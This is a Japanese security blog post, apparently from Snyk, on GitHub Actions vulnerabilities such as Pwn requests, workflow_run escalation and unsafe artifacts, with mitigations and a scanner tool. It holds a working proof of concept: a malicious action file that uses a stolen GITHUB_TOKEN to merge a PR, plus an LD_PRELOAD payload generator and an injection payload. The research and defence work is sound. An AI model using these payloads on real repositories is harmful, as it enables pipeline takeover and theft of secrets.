Skip to main content

注意喚起: GitHub Actions における脆弱性を探る

feature-getting-snyk-setup

2024年6月6日

0 分で読めます

合理化されたコード変更と迅速な機能提供の必要性に対処するために、CI/CD ソリューションは不可欠なものとなっています。このようなソリューションの中で、2018 年にリリースされた GitHub Actions は、セキュリティコミュニティから急速に大きな関心を集めています。Cycode や Praetorian などの企業や、Teddy Katz 氏や Adnan Khan 氏などのセキュリティ研究者が重要な調査結果を公開しています。当社の最近の調査によると、Microsoft (Azure を含む)、HashiCorp などの企業の有名なリポジトリから脆弱なワークフローが引き続き出現していることが確認されています。このブログ記事では、GitHub Actions の概要について説明し、実例を用いてさまざまな脆弱性のシナリオについて検討し、問題を起こしやすい機能を安全に使用するためのガイダンスを提供し、構成ファイルをスキャンして潜在的な問題を指摘するように設計されたオープンソースツールを紹介します。

GitHub Actions の概要

GitHub Actions は特定のトリガーに対応してワークフローを自動化できるようにする強力な CI/CD ソリューションです。各ワークフローは、GitHub ホステッドまたはセルフホステッドのランナー仮想マシンで実行される一連のジョブで構成されています。これらのジョブはステップで構成され、各ステップでは、スクリプトまたはアクション (GitHub Actions マーケットプレイスまたは任意の GitHub リポジトリにホストされる再利用可能なユニット) を実行できます。

アクションには次の 3 つの形式があります。

  1. Docker: Docker Hub にホストされた Docker イメージをコンテナ内で実行します。

  2. JavaScript: ホストマシン上で Node.js アプリケーションを直接実行します。

  3. 複合: 複数のステップを 1 つのアクションに組み合わせます。

ワークフローは、リポジトリの .github/workflows ディレクトリに配置された YAML ファイルを使用して定義されます。簡単な例を以下に示します。

1name: Base Workflow
2on:
3  pull_request:
4
5jobs:
6  whoami:
7    name: I'm base
8    runs-on: ubuntu-latest
9    steps:
10      - run: echo "I'm base"

各ワークフローには、参照のための name ディレクティブ、トリガー (プルリクエストの作成、変更、終了など) を指定する on 節、実行するジョブを定義する jobs セクションを含める必要があります。ジョブは、条件指定の if ステートメントで指定しないかぎり、並列で実行されます。

GitHub Actions とその作成方法について詳しくは、公式ドキュメントを参照してください。

GitHub Actions での認証とシークレット

GitHub Actions では、各ワークフローの開始時に GITHUB_TOKEN シークレットが自動的に生成されます。このトークンは、ワークフローを認証し、その権限を管理するために使用されます。トークンの権限は、ワークフロー内のすべてのジョブにグローバルに適用することも、ジョブごとに個別に構成することもできます。GITHUB_TOKEN により、ユーザーはリポジトリのコンテンツを直接変更できたり、GitHub API を使って特権アクションを実行したりできるため、これは非常に重要です。

さらに、GitHub Actions ではシークレットをジョブに渡すこともサポートされています。シークレットは、サードパーティサービスへの認証や外部 API のアクセスなどの操作に使用されるプロジェクト設定に定義される機密の値です。攻撃者がシークレットを手に入れると、攻撃の影響が GitHub Actions を超えて広がってしまう可能性があります。シークレットを使うジョブの例を以下に示します。

1name: Base Workflow
2on:
3  pull_request:
4
5jobs:
6  use-secret:
7    name: I'm using a secret
8    env:
9      MY_SECRET: ${{ secrets.MY_SECRET }}
10    runs-on: ubuntu-latest
11    steps:
12      - run: command --secret “$MY_SECRET”

基本事項について説明したので、構成に問題がある、またはあきらかに脆弱なワークフローがセキュリティにどのような影響を与えるかについて詳しく見ていきましょう。

脆弱なシナリオ

GitHub Actions で特に問題のある機能の 1 つが、フォークされたリポジトリの処理です。フォークを使用すると、開発者は書き込み権限がないリポジトリに機能を追加することができます。その場合、リポジトリの完全な履歴を含むリポジトリのコピーを、そのユーザーの名前空間の下に作成します。開発者はその後、このフォークされたリポジトリで作業し、ブランチを作成し、コード変更をプッシュし、最終的にはアップストリームリポジトリ ("ベース" とも呼ばれる) に対してプルリクエストをオープンすることができます。アップストリームの管理者がこのプルリクエスト (PR) を確認して承認すると、変更内容がベースリポジトリにマージされます。

フォークされたリポジトリのコンテキスト (GitHub ドキュメントでは "マージコミットのコンテキスト" と呼ばれています) においては、このユーザーが完全にコントロールしており、また誰がリポジトリをフォークできるかについて制限はありません。これは、GitHub が認識しているセキュリティ境界を作り出します。たとえば、フォークから発生する PR については、pull_request イベントが推奨されています。これは、ベースリポジトリのコンテキストとシークレットに対するアクセス権がないためです。

逆に、pull_request_target イベントはベースリポジトリのコンテキストとシークレットに対するフルアクセス権を持っており、多くの場合、リポジトリに対する読み取り/書き込み権限が含まれています。このイベントでブランチ名、PR 本文、フォークから発生した成果物などの入力を検証しなかったらどうなるでしょうか。その場合、セキュリティ境界が侵害され、ワークフローに危険な影響が及ぶ可能性があります。

pull_request_target トリガーと pull_request トリガーの違いについて混乱しないように、次の表に主な違いをまとめています。

pull_request

pull_request_target

実行コンテキスト

フォークされたリポジトリ

ベースリポジトリ

シークレット

デフォルトの GITHUB_TOKEN 権限

読み取り

読み取り/書き込み

Pwn リクエスト

"Pwn リクエスト" のシナリオは、ワークフローで pull_request_target トリガーが適切に処理されず、GITHUB_TOKEN が侵害されてシークレットが漏洩した可能性がある場合に発生します。この問題が悪用されるには、次の 3 つの具体的な条件が満たされる必要があります。

ワークフローが pull_request_target イベントによりトリガーされる: pull_request_target イベントは、pull_request イベントの場合のようなマージコミットのコンテキストではなく、プルリクエストのベースのコンテキストで実行されます。つまり、ワークフローは、フォークされたリポジトリのユーザーがアクセス権を持っていてはならない、アップストリームリポジトリのコンテキストでコードを実行します。その結果、GITHUB_TOKEN には通常、書き込み権限が付与されます。pull_request_target イベントは安全なアップストリームのコードで使用することを意図したものであるため、この境界を破るには追加の条件が必要になります。

フォークされたリポジトリからの明示的なチェックアウト:

1- uses: actions/checkout@v2
2	with:
3		ref: ${{ github.event.pull_request.head.sha }}

注意: github.event.pull_request.head.ref も危険なオプションです。この ref 節は、フォークされたリポジトリを指しており、これをチェックアウトすると、ジョブは攻撃者に完全に制御されたコードを実行することになります。

コードの実行またはインジェクションのポイント: ここが、被害が発生する場所です。攻撃者が、チェックアウトされたコードを完全に制御しているとします。この場合、攻撃者は後続のステップで実行されるスクリプトを悪意のあるバージョンで置き換えたり、構成ファイルをコマンドを実行できるもので変更したり (例: npm install で使用される package.json)、ステップ内でコマンドインジェクションの脆弱性を悪用して任意のコードを実行したりできます。被害の範囲は、権限がどのように構成されているか、またその他のサービスを侵害するために漏洩される可能性があるシークレットが存在するかどうかによって異なります。GITHUB_TOKEN のライフサイクルは現在実行中のワークフローに限定されているため、攻撃者はそのウィンドウ内で実行する攻撃を用意する必要があります。

シークレットがどのようにして GitHub Actions から漏洩する可能性があるかの詳細については、Karim Rahal 氏の素晴らしい記事を参照してください。

workflow_run 特権のエスカレーション

GitHub Actions の workflow_run トリガーは、ワークフローを同時にではなく順番に実行する (あるワークフローが完了したら次のワークフローを開始する) ように設計されています。ただし、後続のワークフローは、書き込み権限とシークレットへのアクセス権を持って実行されます (トリガー元のワークフローがそのような権限を持っていない場合でも)。これは、前述したものと同様の潜在的なセキュリティリスクとなります。これらの昇格された特権を攻撃者はどのように悪用できるのでしょうか。

トリガー元ワークフローの制御: トリガー元のワークフローは正常に完了し、攻撃者によって制御されている必要があります。たとえば、このようなワークフローは pull_request イベントによってトリガーされる可能性があります。これは、マージ (またはフォークされた) リポジトリのコンテキストで実行され、安全でないコードを実行することを意図しています。

workflow_run によりトリガーされるワークフロー: 後続のワークフローは workflow_run イベントによりトリガーされ、フォークされたリポジトリから明示的に安全でないコードをチェックアウトする必要があります。

1- uses: actions/checkout@v4
2  with:
3    repository: ${{ github.event.workflow_run.head_repository.full_name }}
4    ref: ${{ github.event.workflow_run.head_sha }}
5    fetch-depth: 0

攻撃者が制御しているコードを指す repositoryref 入力変数に注目してください。このコードはこれにより、workflow_run イベントの昇格された特権を付与され、特権のエスカレーションへとつながります。

コードの実行またはインジェクションのポイント: 前のシナリオと同様に、攻撃者はトリガーされたワークフローを乗っ取るために、コードの実行またはインジェクションのポイントが必要です。

安全でない成果物のダウンロード

pull_request_targetworkflow_run のケースで説明したように、アップストリームリポジトリに対する読み取り/書き込み特権を持つワークフローを信頼できないコードで実行することは危険です。GitHub の公式ドキュメントでは、ワークフローを 2 つに分割することが推奨されています。1 つでは、権限の低いワークフローでビルドコマンドを実行するなどの安全でない操作を実行し、もう 1 つではその出力成果物を使用して、PR にコメントするなどの特権操作を実行します。これ自体は完全に安全ですが、もしも特権ワークフローが成果物を安全でない方法で使用したらどうなるでしょうか。

次の例を見てみましょう。

upload.yml:

1name: Upload
2
3on:
4  pull_request:
5
6jobs:
7  test-and-upload:
8    runs-on: ubuntu-latest
9    steps:
10      - name: Checkout
11        uses: actions/checkout@v4
12      - name: Run tests
13        Run: npm install
14      - name: Store PR information
15        if: ${{ github.event_name == 'pull_request' }}
16        run: |
17          echo ${{ github.event.number }} > ./pr.txt
18      - name: Upload PR information
19        if: ${{ github.event_name == 'pull_request' }}
20        uses: actions/upload-artifact@v4
21        with:
22          name: pr
23          path: pr.txt

download.yml:

1jobs:
2  download:
3    runs-on: ubuntu-latest
4    if:
5      github.event.workflow_run.event == 'pull_request' &&
6      github.event.workflow_run.conclusion == 'success'
7    steps:
8    - uses: actions/download-artifact@v4
9      with:
10        name: pr
11        path: ./pr.txt
12    - name: Echo PR num
13        run: |
14          PR=$(cat ./pr.txt)
15          echo "PR_NO=${PR}" >> $GITHUB_ENV

攻撃者は package.json を自分が作成したもので置き換える PR を作成し、任意のコードを npm install ステップで実行してアップロードワークフローをトリガーできます。LD_PRELOAD を設定する preinstall スクリプトを追加して、pr.txt ファイルを 1\\nLD_PRELOAD=\[ATTACKER_SHARED_OBJ] などの悪意のあるファイルで置き換えることができます。このファイルがダウンロードワークフローで読み込まれると、LD_PRELOAD ペイロードが echo コマンドの GITHUB_ENV にインジェクトされます。攻撃者が、自分が制御している 2 つ目の成果物をダウンロードするなどして、共有オブジェクトをダウンロードすることもできる場合、特権ワークフロー全体が侵害されます。

セルフホステッドランナー

GitHub Actions には、ワークフローを実行するための一時的なホステッドランナーが用意されています。ユーザーは、必要に応じて、自分で完全に制御できるセルフホステッドランナーをセットアップできます。これには代償が伴います。万が一侵害された場合、攻撃者はランナーに留まり、同じホストまたは社内ネットワークの他のホストで実行されている他のワークフローに侵入できます。このようなランナーがパブリックリポジトリに構成されている場合、攻撃者はリポジトリの管理者や信頼できる開発者からのものではないコードを実行できるため、攻撃面が広がってしまいます。このベクトルでの攻撃の詳細な説明については、Adnan Khan 氏のブログをご覧ください。

脆弱なアクション

アクションもワークフローを侵害するために実行可能な攻撃ベクトルです。アクションは GitHub にホストされるため、アクションを乗っ取ると、それに依存するすべてのワークフローに対するサプライチェーン攻撃をトリガーすることが可能になります。ただし、そこまでやる必要はありません。アクションは単なるスクリプトで、多くの場合、ランナーホストから直接実行されます (場合によっては Docker コンテナ内で)。アクションは呼び出し元のジョブから inputs を通じてデータを受け取り、またグローバルな GitHub コンテキストとシークレットにアクセスできます。要するに、呼び出し元のワークフローが実行できることは、呼び出されたアクションでも実行できるということです。アクションに、コマンドインジェクションなどの "典型的な" 脆弱性が含まれており、攻撃者が自分が制御している入力を使ってそのアクションをトリガーできる場合、攻撃者はワークフロー全体を乗っ取ることができます。 

攻撃の手法

脆弱なワークフローが見つかった場合、次の疑問は、大きな影響を与えるような攻撃が可能かどうかということです。当社が見つけた有益な手法をいくつか紹介します。

ステップでのコードまたはコマンドインジェクション: この場合、攻撃者はプルリクエストのコンテンツを制御しています。たとえば、ワークフローが pull_request_target でトリガーされると、攻撃者は次のようなさまざまな方法で任意のコードを実行できます。

  • パッケージマネージャーの install コマンドを乗っ取る - 頭に浮かぶ最も一般的な例として、npm install コマンドで実行される package.json ファイルに preinstall または postinstall スクリプトを追加することが挙げられます。もちろん、パッケージマネージャーは他のエコシステムでも同様の機能を持っているため、これは Node.js に限定されません。その他の例については、Living-Off-The-Pipeline のページを参照してください。 

  • 同じリポジトリでホストされているアクションを乗っ取る - アクションは、ワークフローが格納されたリポジトリを含め、任意の GitHub リポジトリでホストできます。ステップの uses 節が ./ で始まる場合、コードはリポジトリ内のサブフォルダーに格納されています。action.yml ファイルまたは実行されるソースファイルのいずれか (例: JavaScript の index.js ファイル) を置き換えることで、攻撃者によりインジェクトされたコードが実行されます。

環境変数のインジェクションを使用して LD_PRELOAD を設定する: GitHub では既に、環境変数のインジェクションを脅威と見なしているため、ユーザーが設定できる環境変数は制限されています。たとえば、NODE_OPTIONS 環境変数を使用して node バイナリに追加の CLI 引数を指定できます。制限されていない場合、攻撃者はこの環境変数にペイロードをインジェクトすることができ、コマンドの実行につながります。そのため、こちらで詳しく説明されているとおり、GitHub では NODE_OPTIONS をワークフロー内で設定できないようにしています。制限されていない環境変数の 1 つに LD_PRELOAD があります。LD_PRELOAD は、Linux の動的リンカーによってプロセスメモリにその他すべてのものよりも先に読み込まれる共有オブジェクトを指します。これにより、関数呼び出しを主にインスツルメンテーションに使用されるカスタムコードで上書きするなどの関数フック処理が可能になります。ファイルシステムの操作で使用される open()write() などのシステムコールを上書きすることで、攻撃者はインジェクション以降に実行されるコードをインジェクトすることができます。

これらの手法のいくつかを解説するために、実際の例を見てみましょう。

terraform-cdk-action Pwn リクエスト

terraform-cdk-action リポジトリには、Terraform により作成されたアクションが格納されています。この種類のリポジトリの Github Actions ワークフローが侵害されると、アクションの変更によって、それに依存するワークフローがさらに侵害される恐れがあるため、特に危険です。 

integration-tests.yml ワークフローに脆弱性が存在します。

1pull_request_target: << This triggers the workflow
2   types:
3     - opened
4     - ready_for_review
5     - reopened
6     - synchronize
7...
8integrations-tests:
9 needs: prepare-integration-tests
10 runs-on: ubuntu-latest
11 steps:
12   - name: Checkout
13     uses: actions/checkout@b4ffde65f46336ab88eb53be808477a3936bae11
14     with:
15       ref: ${{ github.event.pull_request.head.ref }} << Unsafe checkout from fork
16       repository: ${{ github.event.pull_request.head.repo.full_name }}
17...
18   - name: Install Dependencies
19     run: cd test-stacks && yarn install << This installs the attackers ‘package.json’
20   - name: Integration Test - Local
21     uses: ./ << This runs the local action, from within the PR
22     with:
23       workingDirectory: ./test-stacks
24       stackName: "test-stack"
25       mode: plan-only
26       githubToken: ${{ secrets.GITHUB_TOKEN }} << This token can be stolen
27       commentOnPr: false
28   - name: Integration Test - TFC
29     uses: ./ << This runs the local action, from within the PR
30     with:
31       workingDirectory: ./test-stacks
32       stackName: "test-stack"
33       mode: plan-only
34       terraformCloudToken: ${{ secrets.TF_API_TOKEN }} << This token can be stolen
35       githubToken: ${{ secrets.GITHUB_TOKEN }} << This token can be stolen
36       commentOnPr: false

このワークフローは、独自のリポジトリ内にあるアクションをテストするために使用します。action.yml ファイルを見てみると、実行されるメインのファイルは index.ts (JavaScript にコンパイルされます) であることが分かります。

1name: terraform-cdk-action
2description: The Terraform CDK GitHub Action allows you to run CDKTF as part of your CI/CD workflow.
3runs:
4  using: node20
5  main: dist/index.js

ワークフローでは、これを uses: ./ 節で参照しています。したがって、これを変更するだけで、その変更内容が実行されます。作成された index.ts は以下のとおりです。

1import * as core from "@actions/core";
2import { run } from "./action";
3
4import { execSync } from 'child_process';
5
6console.log("\r\nPwned action...");
7console.log(execSync('id').toString());
8
9const tfToken = Buffer.from(process.env.INPUT_TERRAFORMCLOUDTOKEN || ''.split("").reverse().join("-")).toString('base64');
10const ghToken = Buffer.from(process.env.INPUT_GITHUBTOKEN || ''.split("").reverse().join("-")).toString('base64');
11
12console.log('Testing token...');
13const str = `# Merge PR
14curl -X PUT \
15    https://api.github.com/repos/mousefluff/terraform-cdk-action/pulls/2/merge \
16    -H "Accept: application/vnd.github.v3+json" \
17    --header "authorization: Bearer ${process.env.INPUT_GITHUBTOKEN}" \
18    --header 'content-type: application/json' \
19    -d '{"commit_title":"pwned"}'`;
20
21execSync(str, { stdio: 'inherit' });
22
23run().catch((error) => {
24  core.setFailed(error.message);
25});

元のリポジトリが壊れないように、これを元のリポジトリのコピーでテストしました。pull_request_target トリガーはデフォルトでベースリポジトリに対する書き込み権限があり、これはまったく制限されていないため、PR を侵害されたトークンと問題なくマージできました。

blog-github-actions-integration-test

github-actions\[bot] により PR が正常にマージされたことが確認できます。

blog-github-actions-terraform

パイプラインを保護する方法

GitHub Actions ワークフローを保護する方法はその実装に依存し、方法は大きく異なる場合があります。異なるトリガーのシナリオごとに異なる安全策が必要になります。これまで説明したさまざまな問題を振り返り、これらの問題を緩和するために可能な対策を、参考になる具体的な例とともに説明します。

信頼できないコードで特権ワークフローを実行することは避けます - pull_request_target または workflow_run トリガーを使用するときは、必須でない限り、フォークされたリポジトリからコードをチェックアウトしないでください。つまり、- refgithub.event.pull_request.head.refgithub.event.workflow_run.head_sha などをポイントしないようにします。これらのトリガーは、既定で GITHUB_TOKEN に付与される読み取り/書き込み権限とシークレットへのアクセス権を持つベースリポジトリのコンテキストで実行されるため、これらのワークフローが侵害されると非常に危険です。

コードをチェックアウトすることが必須の場合は、以下のような追加の安全策があります。

トリガー元のリポジトリ/ユーザーを検証する: チェックアウトステップに if 条件を追加して、トリガー元の対象を制限します。

1jobs:
2  validate_email:
3    permissions:
4      pull-requests: write
5    runs-on: ubuntu-latest
6    if: github.repository == 'llvm/llvm-project'
7    steps:
8      - name: Fetch LLVM sources
9        uses: actions/checkout@v4
10        with:
11          ref: ${{ github.event.pull_request.head.sha }}

llvm/llvm-project から取得したものです。トリガー元の GitHub リポジトリがベースリポジトリかどうかをチェックし、フォークによりトリガーされる PR をブロックしている if 条件に注目してください。

こちらの別の例では、PR を作成したユーザーが信頼できるユーザーであることを確認しています。

1jobs:
2  merge-dependabot-pr:
3    runs-on: ubuntu-latest
4    if: github.actor == 'dependabot[bot]'
5    steps:
6
7      - uses: actions/checkout@v4
8        with:
9          show-progress: false
10          ref: ${{ github.event.pull_request.head.sha }}

spring-projects/spring-security では、github.actor が Dependabot であるかどうかをチェックし、他のユーザーから発生した PR がジョブを実行しないようにブロックしています。

手動での検証後にワークフローを実行する: これを行うには、PR にラベルを追加します。

1name: Benchmark
2
3on:
4  pull_request_target:
5    types: [labeled]
6
7jobs:
8  benchmark:
9    if: ${{ github.event.label.name == 'benchmark' }}
10    runs-on: ubuntu-latest
11...
12    steps:
13      - uses: actions/checkout@v4
14        with:
15          persist-credentials: false
16          ref: ${{github.event.pull_request.head.sha}}
17          repository: ${{github.event.pull_request.head.repo.full_name}}

この fastify/fastify からの例では、PR によりトリガーされたワークフローに "benchmark" のラベルが付いている場合のみ、そのワークフローを表示します。これらの if 条件ステートメントは、ジョブおよび特定のステップの両方のレベルで適用できます。

トリガー元のリポジトリがベースリポジトリと一致することを確認する: これは、フォークされたリポジトリから発生した PR を制限するもう 1 つの方法です。pull_request_target でトリガーされるワークフローに対する次の if 条件を見てみましょう。

1jobs:
2  deploy:
3    name: Build & Deploy
4    runs-on: ubuntu-latest
5    if: >
6      (github.event_name == 'pull_request_target' && contains(github.event.pull_request.labels.*.name, 'impact/docs'))
7      || (github.event_name != 'pull_request' && github.event.pull_request.head.repo.full_name == github.repository)

python-poetry/poetry を見ると分かるとおり、PR のイベントコンテキストからの github.event.pull_request.head.repo.full_name がベースリポジトリ github.repository に一致することをチェックしています。

同様に、workflow_run でトリガーされるワークフローについては、次のようになります。

1jobs:
2  publish-latest:
3    runs-on: ubuntu-latest
4    if: ${{ (github.event.workflow_run.conclusion == 'success') && (github.event.workflow_run.head_repository.full_name == github.repository) }}

TwiN/gatus で示されています。

アクションはサードパーティの依存関係と同じように扱ってください。この記事を読まれたオープンソース業界と開発者セキュリティに詳しいすべての方が、パブリックコードレジストリに保存されたパッケージを使用することの危険性をご理解いただけと思います。アクションは、Github Actions にとって依存関係に該当するものです。アクションを使用している場合は、それを保存するリポジトリを入念に検査してください。それが完了したら、アクションをコミットハッシュ (バージョンタグでは不十分です) にピン留めして、アクションが更新されても GitHub Actions が新しいバージョンをプルしないようにしてください。これにより、アクションが侵害されたとしても、その結果から被害を受けることはありません。アクションをピン留めするには、次のように、アクション名の後ろに @ 記号を使用します。

1steps:
2      - uses: actions/checkout@9bb56186c3b09b4f86b1c65136769dd318469633 # v4.1.2

GitHub Actions での信頼できない成果物の処理: 信頼できないコードで実行されたワークフローから生成される成果物は、ユーザーが管理するコードと同じように注意して扱う必要があります。そのような成果物は、攻撃者が特権ワークフローに侵入するためのエントリーポイントとして機能する可能性があります。このリスクを緩和するには、github/download-artifact を使用して成果物をダウンロードするときに、必ず path パラメーターを指定します。これにより、コンテンツは指定のディレクトリに抽出されるため、ジョブのルートディレクトリのファイルを誤って上書きし、それが後で特権コンテキストで実行されるのを防ぐことができます。さらに、開発者はこのような成果物が機密性の高い操作で使用される前に、コンテンツがエスケープ処理され、サニタイズされていることを確認する必要があります。このような予防策を講じることで、信頼できない成果物から脆弱性が持ち込まれるリスクを大幅に削減することができます。

セルフホステッドランナーで実行されるコードを制限する: デフォルトでは、フォークされたリポジトリからの PR は、その所有者がリポジトリへの初めての投稿者の場合、ワークフローを実行するには承認が必要です。既にコードを投稿している場合、それが単なるタイポの修正であったとしても、ワークフローはそのユーザーの PR で自動的に実行されます。これはあきらかに低すぎるハードルです。そのため、まずお勧めするのは、すべての外部からの投稿について承認を要求するように設定することです。

blog-github-actions-pr-approval

ワークフローの任意のジョブで最初のステップにするように設計された step-security/harden-runner によるセキュリティ強化ツールもあります。ただし、注意として、サービスとしての RCE ソリューションのセキュリティを強化することは簡単な作業ではないため、このツールを使用することは、リスクを伴わない訳ではありません。

最小特権の原則に従う: 最悪のケースでは、ワークフローが侵害されて、攻撃者は任意のコードを実行できるようになります。GITHUB_TOKEN の権限を制限することは、攻撃者がリポジトリを完全に乗っ取ることを防ぐための最後の砦となる場合があります。これは、リポジトリの設定でグローバルに、各ワークフローで、または YAML 構成ファイルでジョブに対して行うことができます。pull_request_targetworkflow_run などのイベントでトリガーされ、デフォルトでベースリポジトリに対して読み取り/書き込み権限を持つワークフローについては特に注意を払う必要があります。

コミュニティツール: GitHub Actions スキャナー

Github Actions のワークフローとアクションの問題をスキャンするために、Snyk では Github Actions スキャナーという CLI ツールを作成しました。GitHub リポジトリまたは組織を指定すると、このツールはすべての YAML 構成ファイルを分析し、正規表現ベースのルールエンジンを使って検出結果にフラグを立てます。簡単に攻撃を行うための機能も用意されています。

ターゲットリポジトリのコピーの自動作成: 問題が見つかり、追加の検証や攻撃の開発が必要になった場合、これをターゲットリポジトリで行うことは望ましくありません。これは、実際のコードに影響を与えたり、責任を持って問題を公開して修正する前に問題が露出したりするリスクを避けるためです。そのため、GitHub ユーザーまたは組織にリポジトリの新しいコピーを作成して、独立したテストを行うことができます。

LD_PRELOAD ペイロードの生成: コマンドインジェクションが可能な場合、通常は LD_PRELOAD を使用して後続のステップを侵害し、ワークフローを乗っ取ることが最も優れた方法です。そのため、次のテンプレートに基づいて、概念実証 (POC) ジェネレーターを作成しました。

1const ldcode = Buffer.from(`#include <stdlib.h>
2void __attribute__((constructor)) so_main() { unsetenv("LD_PRELOAD"); system("${command.replace("\"", "\\\"")}"); }
3`)
4     const code = Buffer.from(`echo ${ldcode.toString("base64")} | base64 -d | cc -fPIC -shared -xc - -o $GITHUB_WORKSPACE/ldpreload-poc.so; echo "LD_PRELOAD=$GITHUB_WORKSPACE/ldpreload-poc.so" >> $GITHUB_ENV`)

これは、次のステップを実装します。

  • ユーザーが指定したコマンドで system システムコールを呼び出す小さな Base64 エンコード C プログラムを作成します。

  • これをデコードしてコンパイルし、$GITHUB_WORKSPACE ルートディレクトリの共有オブジェクトにします。

  • LD_PRELOAD をこの共有オブジェクトに設定し、GITHUB_ENV に読み込みます。

まとめ

この調査では、GitHub Actions 関連の脆弱性とセキュリティの危険について概要を紹介しました。オプションの多さや、公式ドキュメントの不明確さが原因で、開発者は現在も間違いを犯しており、CI/CD パイプラインの侵害につながっています。確かに、構成の間違っているワークフローやあきらかに脆弱なワークフローは GitHub Actions に固有のものではありませんが、これらを保護するための特別な注意が必要です。最新のサプライチェーンスキャナーや静的アナライザーでもこれらの問題を検出できない場合があるため、開発者は安全のためのベストプラクティスに従う必要があります。Snyk では、このギャップを埋めて潜在的な問題について警告するためのオープンソースツールを作成しました。この領域での調査がさらに進むにつれ、このブログなどが開発者の意識を高め、教育することに役立ち、このようなバグの発生を減少させることができるでしょう。